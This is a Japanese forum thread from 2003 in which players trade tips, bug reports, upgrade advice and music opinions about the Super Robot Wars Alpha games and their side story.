スレが1000近くなったのでこちらに新しく立ち上げますた。
引き続きあれこれ語るがよろしでございます
スパ厨氏ねよ。
スパロボは板違いです。
3 :
名無しさん@非公式ガイド:03/10/19 21:45 ID:0ZnpCUQO
ゲサロ逝けカス
5 :
名無しさん@非公式ガイド:03/10/19 21:46 ID:0ZnpCUQO
スレタイの頭に「:」があるのは仕様か?
>>1は何をやってるんだかねぇ…
スパロボスレってゲサロ逝ったんじゃなかったの?
なんで今更戻ってきてるの?
技能ポイントの計算式。20で+1.
■命中
命中率が90%以上の攻撃を命中させる→+1
命中率が80%以上、90%未満の攻撃を命中させる→+2
命中率が60%以上、80%未満の攻撃を命中させる→+3
命中率が40%以上、60%未満の攻撃を命中させる→+4
命中率が10%以上、40%未満の攻撃を命中させる→+6
命中率が10%以下の攻撃を命中させる→+8
■ 回避
敵の命中率が5%以下の攻撃を回避する→+1
敵の命中率が5%以上、25%未満の攻撃を回避する→+2
敵の命中率が25%以上、35%未満の攻撃を回避する→+3
敵の命中率が35%以上、55%未満の攻撃を回避する→+4
敵の命中率が55%以上、85%未満の攻撃を回避する→+6
敵の命中率が85%以上の攻撃を回避する→+8
■防御
最大HPの20%以下のダメージを受ける→+2
最大HPの20%以上、40%未満のダメージを受ける→+4
最大HPの40%以上、50%未満のダメージを受ける→+6
最大HPの60%以上、80%未満のダメージを受ける→+10
最大HPの90%以上のダメージを受ける→+15
序盤は装甲を高め、敵高命中率を避けるようにすれば(当たっても装甲で防ぐ)
終盤で高回避率が期待できる。育成機体はリガズィ辺りが適任かもしれない。
NTなら終盤は修正でどうにでもなる。
<α>
【隠しユニット・熟練度のとりかた】
ここできくより検索した方が早いです。
<DCα>
【強化パーツが無くなっちゃった!】
シュラク隊はパーツを持って行きます。
彼女たちのが離脱する前に強化パーツは外しましょう。
【シーブック弱えー】
シーブックとウッソはパラメータがバグってます。
【DCが止まってるよ、おい】
ヴァルシオーネの円月殺法がかわされたときと,SRXのガウンジェノサイダーが
当たったときは高確率で止まります。
そうなると戦闘スキップはおろかクイックリセットも出来なくなり、本体リセット
しかなくなります。これらの武器を使うときはなるべく戦闘オフにしましょう。
【アストラナガンが無改造に・・・】
最終面前で仲間になるアストラナガンを改造しても次の面で出すときには
何故か無改造に戻ってます。改造しないよう気をつけましょう。
約一日書き込み無しかい。ここは即死あったかねぇ?
とりあえず、グランガランルートから合流して、次コロニーレーザーだ。
途中、オーラマシン強制送還MAPは熟練度捨てて稼ぎに走った。
このルート、使用可能ユニットが少ないからサイフラッシュに頼りっぱなし(w
迷彩&乱舞の太刀は無事取れた。
何故乱舞にこだわったかというと…、「使える」隠しがこれしかないのもあるが、
密かにサイバードが強化されるからだったりする。
ファミリアとサイフラッシュが陸Aになってより使えるようになってありがたや、と言うわけ。
あと、YFシリーズ使えねぇ、とか思っていたが、21にリミッター解除があることにいまさら気がついた。
いつも使ってなかったからな…。
反応弾を上まわる、最高火力になりそうだ。
イサムも19はともかく、ガッツ+幸運+魂と優秀だから、柿崎機に乗せたし。
>13
乙
いや、覗いてはいるんだがな
特にねたもないのよ
ゲサロに行ったのはインパクトスレじゃん
間違うなよ
このスレ立てた>1 はテンプレも張らず立て逃げ。
スレタイの頭に「:」がある。第18部が全角。
「引き続きあれこれ語るがよろしでございます」
少なくとも俺は萎えた。とりあえず、話は第17部を消費してからだな。
グランガランルート行った時のマサキは鬼だった
ガラスの王国全滅プレイで80台、最終的には93逝っちまった
乱舞の太刀卑怯杉
外伝で、DX(Gユニット付き)をゲットするための条件に
「32話でエニルを説得する」って書いてあったんだけど、
エニル側のフラグも立てておかないと32話で説得できなくなるかな?
22話でエニルとガロードが戦闘してないからちょっと心配。
もう戻れないし…。
>18
16B・22両方でガロードがエニルを撃墜するのが条件<説得
そういえば外伝後二話だけなのに面倒くさくて
終わらせてないなぁ・・・どうしようかなぁ・・・。
21 :
名無しさん@非公式ガイド:03/10/22 08:40 ID:3q6Zq4Ii
>>20 無理する必要はないさ。鬱陶しいド根性ボスを倒すためのステージだしな。
エンディングの映像も第2次αのCMで使われてたからな。
αやっているのですが ウィング0 及び0カスタムって
いつ頃手に入るのでしょうか?
GXルート通る人の方が多いのか?
よー考えたらαでヒイロでゼロ使える期間ってかなり短いよな
>20
今まさにそこやってたりする
自律回路uzeeeeeeeeeeeeeeee
>20
俺も全くおんなじとこで止まってる
面倒なんだよね
敵硬いし援護ばっかだし
>>13 ビルバインは人型なのかねえ
制限ひっかかってなかったらオーラバトラーオンリープレイとかも楽しそうだが
女キャラのみってどうよ
前スレで話題になった たいぎいん ってどこの地方の言葉ですか?
ウィング0が結局 αじゃ実質的には使えないってこと?
0カスタムは登場すらしないの?
ttp://www.fn.ws13.arena.ne.jp/srw/story/index4.htm ここの0と呼ばれたガンダムで出てくる事を期待していたのですが・・・・
ヒイロだけやけにパイロット能力が高い代わりに
いつまでも旧式のWガンダムなので そろそろ乗換えがあってもよいと思うのですが・・・
正直デスサイズヘルと比べてWガンダムで能力的に同じではないと思うし
デスサイズヘルの鎌は無制限使用回数なので 使える時は使えそうですね
ミノフスキークラフトもあるし
ウーフェイ乗せるとよいって言われているのは格闘戦の能力からですか?
>>31 ちゃうちゃう
ちゃんとゼロカスとかは使えるようになるよ
Wガンダム→Wガンダムゼロ→Wガンダムゼロカスタム
↑
コイツ
を使える期間が短いだけ
33 :
13:03/10/22 23:42 ID:???
>>28 オーラバトラーは手足ありで剣振り回してるからねぇ。
だからウイングキャリバー(←ビルバイン)のみ使用可にしている。
「非人型」の意義は「ユニット本来の性能」を封印することにあると思うから却下した。
まあ、ウェイブライダーとかサイバード、バルキリーあたりは性能低下が少ない分、大活躍してるけどな(w
34 :
13:03/10/22 23:45 ID:???
連続ですまん。
>>32 そのW0(notカスタム)が残れば、「非人型」でもW勢活躍できそうなのだが…。
実際にはトーラスのみで話にならん。ただの挑発要員だな。
0カスタムって変形しなかったっけ?
それともカスタムと0同時使用って事?
劇中の展開からして0とカスタムは同じ機体を改造したのが実態みたいだけどね
wガンダムだけでも残ってくれれば正直使いようもあるか・・
トーラスも無いよりはマシっぽいね
それといつ頃0は手に入るか分かりますか?
またデスサイズヘルは今後パワーUPイベントありますか?
装備が貧弱というか武器が少なすぎる
スパロボはもう少しデスサイズの煙幕弾を当たった敵の命中率低下とか
MAP一部分煙幕状態とかで(命中率軒並み低下地帯)
多少は再現してもよさそうなのに・・
ステルス機能も再現されていないし(精神コマンド化されているけど)
>>13返礼遅くなりましたがレスありがとう
一部ユニットが原作で飛んでいる事もあるのに飛行不可能だったり
跳躍すれば(バーニア使用)空の敵も切れるのに
飛行ユニットに切り付けられなかったり(HA デスサイズとか)
この辺を飛行 地上 だけでなく跳躍可能タイプも入れて
調整をはかって欲しいな
強化パーツも+して
補助バーニアつけるだけで跳躍は飛行扱い
地上扱いも 補助バーニア装備で跳躍扱いとかもキボン
ZZも原作再現して防御力低下の変わりに3人乗りとか可能にしたり
Zに出てきたゲタとか百式用の特殊装備も一部出てきていない気がするのを
細部まで再現して欲しい。
乱文スンマソ
>>35 もうしばらく前のことなのであんまり覚えてないがルートによっては
ルートで別れる→合流するとみんなカスタム機に
だった気がする、一応何もしなくても全員カスタムにはなる
W0とW0カスとかは基本的にまったく同じ機体だよ
OVA化する際にデザインしなおされた機体
かなり珍しいパターンなので説明しにくいが
「あの機体でTV版のストーリを戦ったパラレルワールド」みたいに
とらえればイメージしやすいかと
個人的にはガワラデザイン(TV版)<カトキデザイン(OVA版)の能力なのが納得いかない
特に0はTV版のデザインでないと「トールギスを元に設計され、5体のガンダムの元になった」に説得力がない
どっちが強い、とかでなく、一長一短の機体を選択させてもらいたかった(マクロスのTV版、映画版みたいに)
マジで羽が生えてるわ仮面被ってるわマントつけてるわどれもこれも厨臭すぎるぞ
>>36 デスサイズとかはカスタムなら空でも斬れる。
他のヤシらもニルファならビームサーベルが空Aになったりと変更はされてる。
F91なんか空陸になってるし。
基本的にバランスとりの結果だべさ。そこまで気にするな。
DC版なのが原因か
F91正直空飛べません ミノフスキークラフトつけようか考えたくらいです。
デスサイズヘルの段階ですが クラフトつけないと空の敵は攻撃できないようです。
(最大まで改造する裏技使えばべつかな?)
カトルとデュオが仲間になるMAPで2人とも空の敵にメインウェポン使えなかったりで
結構欲求不満がありました
何故かヒートショーテル投げれないし
マグアナック隊もαだからか パワーUP前だからか呼べませんでした。
正直この辺強化を期待しています。
ただし
ZZの2マス届くビームサーベルは流石に空の敵も攻撃できました。
Wは原作じゃHAまで飛んでた作品なのに・・・
あ スンマソ カスタムなら=パワーUPありって事かな?
映画版(OVA版)他の機体も多少デザイン変更されていたっけかな?
トールギスVは3になったからかエピオンテイルがついていたが。
失礼ニルファ α2でしたな>F91
αの漏れの射程をレーダーで増やして砲台使用だと飛べてもそれ程変わりないかもしれないが
まぁ必要ならクラフトで浮かせますよ
42 :
名無しさん@非公式ガイド:03/10/23 09:06 ID:Tir+kLtu
スパロボやっているとレギュラーメンバーばかりレベルが高くなり
普通に雑魚を倒しても
大抵は経験値が入らないキャラが出てくるのですが、
そんな時はみんなは 強くなりすぎたキャラを出撃メンバーから外したり
マップごとに交互にキャラを使ったりしていますか?
またどなたかDC版αの精神コマンド獲得レベル一覧表の掲載されているサイトを
ご存知ないでしょうか?
F91は飛べないけどヴェズバー強いから問題ないっしょ。高性能レーダーつけとけ。
デスサイズヘルはミノフスキークラフト付けた方がいいと思う。あとEVAくらいしか候補ないだろうし
サンドロックはどうせトールギスVにコンバートされ(ry
撃墜数稼がないといけないしレベル関係なく射撃格闘上げられるし別に愛着のない機体を出す気もないので普通に出撃させるに決まってる
45 :
名無しさん@非公式ガイド:03/10/23 11:17 ID:Tir+kLtu
>>44確かにその通り でも撃墜数が一定に達した場合
漏れは正直少し引っ込めるかな
他のキャラに優先的に撃墜を譲るとかするかもしれないし
ストーリー上使えなくなるキャラもいるから
多少は二軍を育てないといけないはず
撃墜数って 50までいったらそれ以上増やしても関係ないよね?
漏れの育てたヒュッケバインmk-2 最強まで改造したけど
その後何を最終改造したらよいかな?
漏れ的には移動力+1が確実なパワーアップになると踏んでいるが・・・
グラビティウォールだったかとかあるから
装甲をパワーアップするのもおいしいかとも思っているが・・・・・
どうせ殆どよけるけどね
中には海対応Aを選択した人っているかな?<どのロボットかは問わず
>>45 正直、撃墜数云々よりも技能ポイントなんだよな重要なの
一話出撃し損ねると結構差がつくわけで
最初にルート分岐決めときゃ育てるユニットが自ずと決まるので
二軍の事は大体放置おkになる
>>46 後継機の事考えて、ガンナーボクサーを状況に応じて使い分けない
所謂ガンナーメインボクサーメインなら地形適応の事考えて
ガンナーは陸A、ボクサーは空A(こっちは勿体無いか)ってのも悪くないと思うんだが
まぁラスト宇宙なので運動性or装甲orENの方がいいか
ボクサーなら移動+1いいかもしれんがガンナーなら糞移動力あるので
イマイチ決めにくい感がある
まぁ強化パーツに頼るなら(ミノドラなど)運動性or装甲即決で
48 :
名無しさん@非公式ガイド:03/10/23 12:19 ID:hBYM2DBt
前スレでユーゼスとかシュウがボスでまたでるとうわさが流れてたけど
なぜ四天王とウェンドロの名前が出ないのだろう?そんなに人気無いのかな?
自分は好きなのだが・・・。
「ボルテックシューター!」とか「メガスマッシャー!」とか「フォトンビーム!」
とか「メガフラッシャー!」などスーパー系並みに叫ぶ四天王燃え。
しかもフル改造して装甲+500にしないとスーパー系でも一発で落ちるなど
インパクトもあったのに・・・。(コンプリートの話ですんません・・・。)
二回行動できるしハロもつけてりゃガンナーに移動できねー場所はねーな
俺最終改造は全部移動+1にしてるなあ。
>>47なるほど でも何だかボクサーの方評判よくないよね
更に射撃メインで主人公育ててきたし
しかも精神コマンドに加速がある(^^;
ミノドラあるから空Aは関係ないとして
陸適応Aが必要なのは何故?そんなに陸適応悪いの?
(珍しいかと思われ)
>>49ハロは希少ですからね 多分スーパー系につけさせます
ただし話しぶりからしてガンナーには移動力+1は必要ないようですね
このゲーム一マスが意外と大きい事があるので
+1はおとくかと思いましたが
元から移動力のあるガンナー等には関係ないようですね
技能ポイントって αのゲームバランスでそんなに関係してくる?
漏れは結局ちょっとしか反映されない+どうせ敵は装甲薄い
の関係でそれ程気にしていない
正直スパロボ系の一部除いて武器は殆ど強化していない状態で
基本能力の防御を中心に改造を進めているばかりなのが現状です。
↑全滅プレイは否定派です。
ニルファでなく αの段階でも回避とか防御とかのポイントって存在する?
ハロはアムロとウッソに持たせるべき
アムロはガンダムにハロを乗せて無かった気が
メガスマッシャージョンクローリー並の気合入った声なら燃え
>>51 正直気にしてない程度のレベルなら
フル改造ボーナスなんて何をつけてもいい
>>52ウッソはwハロになるな
強化パーツでウッソのみたいなハロが装備できるとよいのだが・・・・・・
>>55 いわれてみれば確かに
50は多分凄腕なので早く戦闘を終わらせる為に移動力+1にしてるのだろう
凄腕な人は無改造でエンディングを迎えますよ
>>58 そういう意味じゃなくて最速ターンで
終わらせるって事じゃね?
熟練度69/58話のはず。
最後の分岐はエンジェルハイロウへ。エレガントな方がお亡くなりになりますた。
こっちの方がパーツが良いと思ったからな。イベントMAP×2のせいで稼ぎは少なそうだが。
まず、ソーラレイはイベント用のギレン&キシリアを残して全滅。幸運でがっぽり(w
バルキリーが2回行動になって、火力を補ってくれた。
続いてエンジェルハイロウのMAPだが、低火力+低気力のせいで初っ端のバイク戦艦が激しく硬い。
カテ公やらギロチンあたりなら魂で一撃だがね。
で、α屈指の撃墜難易度を誇るジュピトリスに挑んでみた。
結果は…撃破成功。正直今度こそ無理だろうとか思っていたが。
フォッカー機のフルチューン反応弾に気力150・魂で挑む。
脱力で相手は気力110。5000程削ってファイア!→52000ダメージであぼーん。
勝因は信頼補正だな。
ちと記憶が曖昧だったが、MAXと輝を隣接させたら補正がかかったらしい。
試しに2人を離したら、48000程に落ちたからな。
↑ だが、輝でやれば幸運かけられるだろ、とのツッコミがあろうかと思う。
と言うか自分でも少々もったいないと思っているんだ。
輝とMAXは乗り換えがあるからあまり投資してなかったんだよな。
あとにして思えば、改造してもイサムを乗せて再利用できたわけで…。
見通しが甘かったよ。
>>48 ゾウォーグ関連はOG側でしか出なそう
そもそもαと第○次は殆んどパラレルワールドなので出る可能性は低いかと
>>51 ガンナー前提で言うならとにかくよける機体にするために運動性強化がオススメ
そして主人公バカ強に抵抗がないならばハロもつけてやっていいと思う
ボクサーは趣味機体かな、個人的にはガンナーの必殺技が嫌いなので二週目以降は
格闘と射撃を両方とも鍛えてボクサーにしてた、それでも運動性優先で強化してた
主人公の回避自体が恐ろしく高いので運動性強化+ハロで
ちなみにαのハロは射程延びないがなんでスーパー系につけようとしてるの?
58だが確かに漏れは無駄にターンを欠けない事を前提でプレイしている
でないと全滅プレイを繰り返したのと同じような事もできてしまうしな。
(経験値稼ぎ系)
ゼントラーディ艦脱出の際には移動力はあって邪魔にならなかった
むしろターン制限あるから防御にも攻撃にもなった
異常な移動力で片っ端から敵を倒せてよかったよ
ちなみにDC版だけど(ps版の感想でもOK)フォッカーとマックス
育てるなどっちがお勧め?
漏れは幸運持っているヒカルはいないと資金がきつくなるかもしれないので
優先して使っているけど もう一人現状でバルキリーのりを育てるならどっちかな?
じきにイサムが仲間になりそうだけどね。(幸運)
>>60フォッカー機をにひかるを乗せられないの?
PS版は熟練度表記機能はない? DCは二箇所で確認可能
>>62スーパー系とろくて戦闘が終った頃に戦場に着く事が起こりかねないから
なるべく前の方に置くが・・・・気合が沢山使えるからボスとさえ戦えればOKか?
>>62確かに回避育てる方が確実そうだね
ただ これから先、異常な移動力があると普通敵を全滅させられないMAPで
敵を軽く全滅させられるとかって有り得るかな?
ゼントラーディ艦脱出の際は無くてもいけたが、ハロ+メガブースター装備
+で加速まで使う羽目になったが
余裕があったのでヒカルでなるべく幸運使いながら敵を倒しても
何とかクリアできる状態だった。
(他のメンバーで削り 主人公がMAPを駆け回り)
メルトランディに殆どゼントランだかを(男)倒させずに両勢力とも自分で倒せた
最初から計画プレイしていれば 全部自分で倒す事も可能だったかも?
正直、回避系ユニットは運動性を10段階改造した時点で充分すぎる。
フル改造ボーナスは問答無用で移動力がいいと思うなあ。
つーか、リアル系をフル改造って結構意味無くないか?
地形適応悪い機体ならともかく、ほかのボーナス目的でフル改造するのは効率悪い気が・・・。
>>67確かにそうだね 漏れの場合色々な事情の重なりでそうなった上
一度完全改造してボーナス貰ってみたい っていう遊びも正直強い
現状では反応限界無改造 運動性能も程ほど 之が実情
Gインパクトキャノンの為に最近ENはそこそこ改造しましたが
そこそこかな?
HPと装甲はグラビィティウォールがあまり信用できなかったりで
ボスの一撃にも耐えられるようにそこそこ改造です。
一気に完全改造できるとこまで幸運で金ためてあって
試しにやってみたら本当にできた
それでみんなに聞いてみた
幸運無いのがきついが 単独行動ができる機体になりそうだし
高速移動型にして使ってみようかと検討中(資金稼ぎに使えそう)
パワーアップするらしいし 引き継がれるらしいし
ダサくてうざいオリジナル敵に挟み撃ちにされつつもバット将軍殺して
そしたら本隊登場してきたんだけどなんだよあれ
ENも精神コマンドもうもたねえよ
だいたい射程11EN消費20でHPEN回復大ってふざけんな
しかも三匹かよ
相変わらずダサくてうざいオリジナル敵はメタスとかホワイトアーク集中攻撃してくるし
助けてくれ
>>69 メタ巣やホワイトアークのパイロットに
ひらめきをかけとけば狙われにくくなるよ。
>>69 後に下げるか戦艦に搭載しておけば良いのでは。
ちうかどこや
バット(恐竜帝国か)→本隊(HPEN回復大持ち×3)なんてマップあったっけか
>>69 ゲルミル部隊には鉄壁必中付きカイザー辺りを放り込む。
又はコンバトラーの超電磁スパークや、ガッツ発動DXのGビット。
下手に全員で突撃するより少数精鋭で行った方が精神を温存できる。
ゴールの部隊は出現条件が敵全滅後だから、出現位置で待ち伏せて
マップ兵器連射。回復大も射程11も瞬殺してしまえば関係無い。
ちなみにゴールを倒すと更に・・・
>>71 外伝、難易度普通のアースクレイドル前(タイトル忘れた)じゃないかと思ったんだが
漏れも舎弟11EN消費20HPEN回復大×3が分からん。
イーグレットはこのMAPじゃ出てこないはずだし
出てきてもEN消費は15だったはずだし・・・
>>63 マックスを巨人化するなら文句なしにフォッカー。
ガッツTUEEEE機体もTUEEEE
ミリアを人間サイズにするなら…
どっちもTUEEEでいいんじゃない?
フォ母さん
ピクドロンなのでは
やっぱギルギルガンかな
今ラグナロクでやる気無くしてます、
もう勘弁して下さい・・・。
>73
普通ルート42話「地球の後継者」熟練度25以上のときはメカギルギルガンが三匹
おそらくこれ
いつの間にかゼータの曲が水の星になってる
泣いた
つーかそろそろZ・刻を越えてを流して
貰いたい・・・。
戦闘中の曲としては無理がありますか
そうですか(ブレンも無理があるけど)
あれはクワトロのテーマにすべきだ
>>68 ぶっちゃけ運動性をMAXまで改造してしまえば大抵の攻撃は食らわなくなるので
装甲、HP改造の必要はないと思う、まぁしといてもそんはないか・・
あとスーパー系は移動力強化ならメガブースターでいいと思う、ハロはあまりにも勿体無い
命中強化は必中をタイミングよく使えばいいし
>84
命中強化なら、集中でも十分だと思うぞ。
個人的にはαでの使える/使えないの条件の一つに集中の有無を挙げたい。
まあ集中のないマジンガーなんかでも、命中補正気にすればあまり問題ないし。
ビルバインフル改造運動性ボーナスサイコフレームでも底力発動のユーゼスに10%くらいで当たるんだなあ
ユーゼスが底力出して踏ん張っても10%くらいでしか当てれない、と考えればいい。
>>82 個人的に
ブレンもZ・刻を越えても問題なかったな
外伝でジ・Oって取る価値ある?
個人的にもう少し∀の曲を入れて欲しかったな
>>74情報サンクス 巨大化の話だけど
マックスとフォッカーどっちかを巨大化することになるの?
柿崎は無理?
巨大化すると使えるユニットに変更が出るよね?
正直巨大化すると使えるユニット無くなる?
また 巨大化すると声が変化するらしいけど
フォッカーのほうでもそうかな?
ストーリーに変化があるなら気をつけないとな
>>84 大体同意見
でも他のユニットが既にメガブースター使用中
敵がどこから出てくるか分からないし
あまりターンかけたくないし
(ターンを沢山かけてよいならそもそもブースター系はそれ程意味なしか?)
漏れは現在スーパー系の運動性能を強化するかどうか
検討中です。
価格が安い 1〜3段階くらいまでなら強化しようか検討していますが
どんなものでしょうか?
今作もゲッターだけは2の為に反応限界だけは強化しています。
(強化パーツも使っているけど)
何だか今作分岐でスパロボ系を選ばないからか
ゲッター1以外全然使ってないな・・・
今後もそんなもん?
昔は2は結構使ったんだが
(3もストーリー上ちょっと +大雪山落としで使用)
スパロボ系の改造はやっぱり装甲HPでしょうか
時々〜ブリタイ艦あたりに突っ込ませると回避が低いときつくなるので
運動性の必要も多少感じました。
>>85確かに集中はコストも低いし 回避にも効果があるので
強いパイロットを突っ込ませる時にはとても使える
だがスパロボ系は集中持っている香具師が他の精神コマンド貴重だったり
精神ポイントあまり気味の香具師が必中持っていたりする事多いからね
それと敵によってはやっぱり必中の方が安心 ってのもある
それ程ポイントかわらんし 一部を除いてスパロボ系は回避低くても問題ない
リアル系も必中あるとMAP兵器使用時 特に経験値を稼ぐ為に
レベルの低いキャラに稼がせる時に必中あると
とても確実
レベル差が多いと命中しにくいが レベル差ゆえに経験値が多く入る
スパガンのマップ兵器はその点が少々別かな?
スパガンでマップ兵器使われた事のある方いますか?
上手くやると異常に稼げそうですね。
技術ポイントで稼ぐより上手くやると・・・・・・・
これがスパロボの真実っぽい
Z・メタス→刻を越えて
ZZ→アニメじゃない
特攻Z→水の☆
FAZZ・キュベレイ2→サイレントヴォイス
がいいなぁ。関係無いがSEEDがPS2以上のスペック機作品に参戦したらカラオケモード埋まれそうだ。
特攻Zは宇宙を駆けるがいいな。あれはいい曲だと思う。
Seedはできればエネルギー消耗が激しいがつよい機体ってデザインでお願いしたい
正直補給すると気合が減るシステムだし それで個性を表現するのが正しいと思われ
エネルギー改造が一番重要なタイプのスパロボ系とは違う種別の機体=Seed系
3ガンだけはかくで動いているので関係なし その為とてもつよく感じる ってことで
その辺の個性も現れるし
攻撃を受けると HPじゃなくまず最初にENが減っていく
その為HP自体は低いがある意味でうたれづよい
って形はバランスを崩すでしょうか?
Zが刻を越えてにする意味が分からん
刻を越えてはmk−II(スーパー) メタス 百式 リックディアスあたりで
Zは水☆に超サーベルと特攻は宇宙を駆けるでいいんジャマイカ
流れに逆らってすまぬ
外伝の技能値って+20までだっけ?
それとも上限なし?
流れに逆らってすまん
αDC版の技術ポイントって上限あったっけ?
それと回避と特に防御ってαでも技術ポイント存在する?
防御の技術ポイントってどこで確認すればよいの?
101 :
98:03/10/25 10:11 ID:???
>100
3楠
DOMEで回避しまくって稼いでいたのだが、いつまでたっても
あがり続けるから不安になってたとこだった。
今20数ターン目くらいだが、最後までやったものか迷うな。
刻を越えてを使うなら、Mk-2で是非あのモノリスみたいにせり上がってくるパネルをカットオンで再現してほすぃ
>>100 ps版ではどう? ps版って主人公のステータス画面で熟練度の確認できる?
PSの外伝を次にやろうと思っているけど
PS版やっていた人はデータの引継ぎとか多少はあった?
DC版からだと多少ストーリーに矛盾が出るかな・・
DC版オリジナルルート選択だし。
できる
熟練度の確認=できる ですな
さんくす
データ引継ぎは不明? 確かできなかったような・・・・・
できない
500円で売ってたんでα買ってきたんですが(α外伝はプレイ済み)
主人公の誕生日でお薦めの日付はなんでしょうか?
terada
αで最終的に使える機体っていったら何だ?(改造する価値のある機体)
教えてください。
それとブリタイ艦隊が出てくるMAP上手く改造したり
計画的にキャラ育てたり 最初から精神コマンドそれようの主人公選べば
敵全滅も可能?
アサルトバスター
Seedはできれば宇宙世紀パイロットが乗れるシステムでお願いしたい
正直後半のイザーク以外はなに考えてるのか理解できない
ただ「やめろよ、○○が俺に勝てるわけないだろ」で誰を殴るのかが楽しみ
ドモンにでもそんなセリフ吐いて俺たちを驚愕させて欲しいものだが
>>110
初期値の高い+見るからに使える機体は大体は改造して損なし
あとは各作品の主人公機を改造すれば鉄板
あえていうならGロボは使う人によるが・・
(漏れはターン数気にしないのでGロボを最初に突貫させてた)
意外とコイツ使える、は数限りないので・・
サポート用パイロットは攻略サイトで調べたほうがいい、ただ、エレ様は大激励使えるので
コイツ育ててないとMAP始めの出足に関わる
ようやっと63話。次はAirだな。当然前半戦は縛り解除。アスカ様に大暴れしてもらおう(w
熟練度は78だから、最終的には79になる見込み。
結局、デストロイドモンスター取らず、熟練度を選んだ。
ミリアは当然バルキリーで。
運命の矢は6ターンで全滅成功。
あと、愛おぼ前半戦も、6ターンで済んだ。
何か最近、バルキリーとサイバードに頼りっぱなし…。
コンVも2軍落ちして、残るスーパー系は獣戦機のみ。
まあ、こいつらは熱血と野生化のおかげで十分戦力になってるがね。
あと龍虎は意外と避けない(w 元の運動性は高いけど改造しないと「事故」が多発する…。
最初αの攻略本見た時、初めてイングラムが仲間になると知ってびっくりした。
HP40000のままでかよ!?しかもF完結の時のメキボスとちがって操作できる
のかよ!?やったーだったのだが最後の面しか使えなく残念だと思った。
DC版は改造しても意味ないし・・・。ま、強いからいいか。
天上天下一撃必殺砲魂使って撃ったほうが強い
トールギ(略
考えてみればコーディネイター100人でかかっても
土門には勝てないよな
そういや巨人化したらミリアとマックスは何に乗れるの?
>116
すまのう・・・。SRX使ってないんじゃ・・・。
ゼンガーとかと戦うと流れるかっちょいうい曲くれ
第三次、αのオリジナル曲は神がかり
錦の歌はコンVボルテス世代にはたまらない曲だな
最近のアニメしか見たことない若造にはムリぽ
>>123 ハァ?あんなクソオリジナルと70年代ロボを一緒にするなよ
確かにバンプレオリジナルは目に余る物があるな
コクピットより我ニ敵ナシ
α三次でるんだ
バランスはどうなるかな やっぱりやさしめか?
ヴァン ド ローって使える?
スペル違うか?
第2次αのオリジナル曲て、なんか良くなかった気が・・・。
流星があるでしょうが
あれは確かによかった。
αシリーズはMAPのBGMがいいと思うなあ。激しく。
インパクソは文字通り糞。
無印αのオリジナル系戦闘曲は激しくクソだな
>132
(゚Д゚)ハァ?エースアタッカーは?あろーおぶですてぃにーは?・鉄のコクピットは?我ニ敵ナシわぁ??
エースアタッカーはmkIII強すぎて糞
アローオブデスティニーは運命の矢と被ってるから糞
鋼鉄のコクピットは糞ダルタニアスと同じ堀江だから糞
我ニ敵ナシはイントロがマジンカイザーっぽくて糞
>>134 どこが似ている?このスレは音楽の違いさえも判らない奴が多いのか?
まぁオリジナル系がダメダメな所は同意
TIME DIVERは〜?
VANISHING TROOPER?は結構好きだったよ
まぁ人それぞれでいいじゃん
中華最高
>>124 ちがうちがう、堀江美都子やっぱいいなって話よ
ボルテスやダルタニアス思い出す
堀江は好き嫌いあるけどな
俺は好きだな、CDとか買うほどじゃないが
アクセルのテーマとラミアのテーマこそ至高
アストラナガンのBGMが好きなおれって・・・。
俺はレビの曲も好きだけど・・・一番いいのはエンジェルハイロウの時の通常曲が燃えるぜ
144 :
名無しさん@非公式ガイド:03/10/30 11:27 ID:I1goEME8
話の流れ止めてしまうけど、ちょっと数点わからないので質問。
DC版αでやってるんですが、Evaのシンクロ率ってどういう条件で変動しているのかがいまいちわかんないんです。
普通に敵の攻撃を避けただけなんですが、シンクロ率がどんどん落ちていってるんで。
>>11にある【シーブック弱えー】ってのの意味は、
パラメータが低く設定されてるorパラメータ通りの効果を出していないのどちらです?
ボルテスVの曲ってなんかテトリスぽくない?w
DC版なんてやる方がおかしいんですから教えてあげません
やるほうがおかしいといっておきながらオリジナルルート話は聞きたがるんだよね
シンクロ率って攻撃あてたら上がるんじゃなかったっけ?
あとシーブックはたしか強かった気が・・・。
ダークプリズンが好きな俺って・・・。
シーブック
See Book
見る 本
見本
外伝クリアしたんだけど何万か金入ってるじゃん
あれ何に使ったらいいかな
一周目はリアル系で攻めたからスーパー系使いたいんだけど
どれが使えますか
>150
グレートマジンガー
グレートは確かにスーパー系の主役と言ってもいいかもな。
ついでにダンクーガも改造すれば、8話のゴーゴンとカーメン両方撃墜を狙えるぞ。
攻略本どれがオススメ?
魂
nanisore
DC版はそんなに評判悪いの?
正直漏れはポリゴンでプレイするのもたまにはよいかと・
シンクロ率はどこかに変化一覧表みたいなのが載っていたな
よけたからじゃなくて 当たったから下がったんじゃない?
確か敵を倒したり攻撃を当てたりすると上った気がするが
外伝ダンクーガ改造すると後で後悔しない?
どうせ全滅プレイで稼げばよいだけか?
(外伝全滅プレイってできたか?)
見本の件はバグが出るって話だろう
バグが出なければ弱くはならんと思うよ
なんかよくわからんからブックオフにある奴適当に買ってくるよ
どうせいまどき攻略間違いなんてないでしょ
シーブックが見本て書かれるのははじめて見たな
海本で書かれるのは見たことあるけど
>>158 ファミ痛だけはやめとけよ
ちなみに魂はデジキューブの本
外伝プレイするの5回目ぐらいだが
サイバスターの攻撃グラフィックがαから変わってることに今更気づいた
そしてライディーンの鬼っぷりを再確認した
αディスカッター
シャキーン シュゴー ズバッ
外伝ディスカッター
バビビビビ ジャッキーン! ヒュオッ ドビュズバー
>>158 「魂」が一番いいと思う。
設定資料もイパーイあるし。
>>158 ただし外伝の魂の攻略本は古本屋で買うと
正誤表がついてこないのでところどころのミスがハラ立つワナ
外伝は他のほうがいいと思う
αは魂でも問題ないけど
αに比べて外伝は面白いセリフが多いなー
ニルファもあるのかなー
165 :
名無しさん@非公式ガイド:03/10/31 00:33 ID:eBJMMSvj
攻略本はゲイブンシャのがいいよ、個人的に。
ケイブンシャのは出来がそこそこいいんだけどFとF完でブチ切れて買うまいと決心した
もう会社ないしな
とりあえず、そこの古本屋に魂が置いてあって尚且つ、誤植の訂正の紙切れが一緒に挟まってるようだったら購入すべし。
ただ、俺は誤植ある状態でも問題なかった。訂正の紙切れ読まなかったよ。
>>164 ニルファには期待しないほうがいいよ
α系統の新作って言うよりインパクト系統の新作って感じだから
>>159最近ってファミ通の攻略本そんなに評判悪いの?
>>163中古でもチェックしてから買えばよいのでは?
時々ついていることもあるかと(ry
>>166F完何か問題あった? ソフトも攻略本も数百円で全て揃えてつんである漏れ
